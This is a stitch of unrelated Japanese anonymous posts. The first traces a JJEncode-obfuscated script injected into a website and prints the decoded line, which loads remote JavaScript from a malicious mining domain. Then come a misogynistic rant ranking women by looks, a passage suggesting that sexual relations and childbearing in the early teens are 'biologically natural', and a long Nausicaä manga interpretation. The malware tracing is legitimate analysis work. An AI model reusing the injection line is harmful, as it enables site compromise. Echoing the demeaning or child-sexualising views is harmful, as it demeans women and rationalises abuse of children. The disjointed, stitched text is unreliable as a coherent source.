JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードはそのままではぐぐれないので
"javascript obfuscator dollar underscore" といったキーワードで検索
すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる
https://blog.korelogic.com/blog/2015/01/12
デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる
var el = document.createElement('script'); el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20'; document.head.appendChild(el);
次に "web.stati.bid" でぐぐると下記のブログがヒットする
それによると去年12月ぐらいから複数のサイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい
飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ
https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html
ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURLは桂春蝶サイトに埋め込まれていたURLと(パラメータ込みで)完全一致する
ヤマノススメもそーだろーがよー
元の素材が悪いのに、メイク、服、立ち振る舞い、美人に近づこうとがんばってるブスが好きだ
言っておくが、必死に努力する姿が素敵。とか、そういう話ではない。
デブはダメだ。まだ痩せれるという余地があるのに、デブではがんばってるとは言えない。
また、個性派に逃げるのもダメだ。あくまでも王道モテ路線に必死に食らいついていてほしい。
まあ王道の定義を言えとか言われても答えられないが、どうせ元々俺の主観である。
なんか勘違いして客観的に見て基本スペックが普通以下なのに、自分がブスであるという自覚がないタイプも除く。
諸君、私はがんばってるブスが好きだ
世の中にもっとがんばってるブスが増えて欲しい
だからブスよ、がんばれ、超がんばれ
確かに、判断力や身体能力に乏しい子供を対象にそういう行為を働くのは問題だよ。
ロリコンとか平気で言うけれど、その線引きも後付けの倫理で強引に決めた物で何の根拠もありゃしない。
生物学的には10代前半で子供を作るのは自然なんだぞ?30過ぎてから子供作ろうとするから悲しい結果になるのが絶えない訳で。
あなたの視点は読者として外の世界から見ているからこそ言える「神の視点」なんだよ。
『墓と和解せよ』というけど、裁定者となった巨神兵が話合いのために責任者を出せと言ったのに墓は問答無用で攻撃してきた。交渉を拒否したのは墓側だよ。
『勝手に一人で現生人類を愚かだと決めつけて』というが、ナウシカは色々なところで何度も説得したよ。でも民衆は聞かなかったの。
『それがエゴ以外の何だというんだ』については先にも書いたけどその通り「エゴ」だよ。これは本にも描かれてる。
"虚無" から『お前はもう何人も殺してるくせに何カマトトぶってんだ』なんて言われてるし。
『どれだけ苦しくても人の命を奪ってでも生きたいと願わない人間もいる』
そういう人間がいた方がいい。しかし、あの世界のナウシカにそれは不可能だった。風の谷を守るためにトルメキアの捕虜になり戦場へ赴かなければいけなかった。
少年兵だと分かっていながら切り殺さなければいけなかった。そこで自分が死んではいけなかったからだ。ナウシカは風の谷を守るために人を殺してでも生き残る必要があった。
ナウシカのエゴ。戦場で赤ちゃんを拾っても足手まといなだけだ。戦場を一騎で駆け抜けたり、兵士が瘴気を吸って吐いた血を口で取り除くなんて自殺行為だ。トリウマ一匹に泣くなんて無駄だ。
しかし、これらのエゴが兵士や民を惹き付けた。あのクロトワですらな。
村の長なのに一人で腐海の深部をうろついて凶暴な王蟲を愛でている。この無謀な行動が、"汚れているのは土である" に繋がり、"粘菌の暴走の原因に気づくことができた" 理由であり、
"王蟲の信頼を得ている”ので "大海嘯の最前線に入ることができ" "王蟲は怒っているのではなく腐海となって土地の傷を癒そうとしている" "腐海は土を浄化するためにある" "これらが大海嘯の原因である" "どうも地球は腐海まみれになって滅ぼうとしているのではなく、ギリギリのバランスで生き残ろうとしている" というすべての流れに繋がっていくんだよ。それでも一回諦めちゃったけどな。
これがあなたにできただろうか?ナウシカは無敵のマンガの主人公だからなんて話は聞かないよ。私なら頭悪いから腐海に入って5秒で死んでる。あなたはおそらくどこかの時点で自らの命を絶っただろう。「最後の決断」まで辿り着けない、のはまだしもナウシカを助ける脇役にもなれないだろう。
『どれだけ苦しくても人の命を奪ってでも生きたいと願わない人間もいる』
というあなたと同じことをする人物がこの物語の中に存在する。綺麗で争わない新人類だ。あなたは私から見るとどこか「大人しくて清らかな人類の側」に立っているようにみえる。あなたは物語の中の今を生きている人類に寄り添っていない。
そして、あなたは新人類と王蟲を同列に扱い「新人類にも希望を」と言っているが、私はこの二つは同列に扱えないと考えている。
まず、旧人類は「汚染に適応した人類を元に戻す技術もここに記されている」と現人類を諭しているが、おそらくこれは嘘だ。または条件付きだろう。ロボトミー手術よろしく、頭を書き換え清廉潔白な体になれ、と。これを現人類が受け入れるわけがないし、旧人類もそれは承知なので、危険な現人類を生かしておきはしない。役目が終わったら死ぬようにプログラムした。
そして、墓もエラーが出ないように旧人類がきちんとプログラムしている。夏至と冬至に1行アウトプットするだけだ。同様に墓が管理する卵にもエラーはない。恋愛があれば争いが生まれるので、単性生殖すら避け、墓が製造した卵からのみ増えることになるだろう。
ではなぜ王蟲にはエラーが出たのか。それは ”王蟲は自然界に放たれたから”に他ならないと思う。"外敵"に襲われ、自然の驚異にさらされるなか命を長らえ、交わり子を産み世代を重ねることで突然変異も生まれる。
敵のいない、すべてを中央コンピュータに支配された新人類は、何世代も進化のないまま一種類のウイルスに対応できず全滅するだろう。"血を吐きつつもそれを乗り越えて飛ぶ"力はない。だからといって殺しても良いとは言えないけどさ……。
(墓所も能力に上限がかけられてて自我を目覚めさせるレベルにはないと思う。最後なんやかんや喚いてるがあれは旧人類の伝言。自我は巨神兵が担ってるし)
『その場にもしヴ王がいたらやはり選択は違っていただろう』『居たような気がする』
そう、その場にヴ王はいたよ。しかし、ヴ王がいても選択は変わらない。
ヴ王はナウシカの「私達のように凶暴でなく、おだやかで、かしこい人間になるはずの卵です」という言葉に「そんなものは人間とはいえん」と返している。
ヴ王は人間の闇の部分がわりと好きなんだよ。王に対してボロカスな口をきく「道化」を蹴っ飛ばしながらも割と仲良くやってるしね。清廉潔白な人なんか面白くないと踏んでる。お人よしかどうかの話ではない。
「とんでもないことになると分かってても欲しがるタイプ」というのは正しい見方で、まったくもって危ない人物ではあるけどな。
最後に毒気が抜けたのは「お綺麗な」墓の光を浴びたのでまさに「毒気が抜けた」んだろう。この辺は漫画だから「そんな超常現象」とか言わずにね。ナウシカのカリスマ性も一因だろうね。
ここまでで挙げたように、たぶん今あなたは手元に本が無いから?内容を曖昧にしか理解できていない気がする。
という私もコミックをある所に持ち出したら、その場に定着しちゃって置いてきたから今は持ってない。勘違いしてる部分が沢山あるはず。ちゃんと買って読み直そうっと。
「聞くな!俺は文房具屋だ!」
差異があると思う人がいるよ。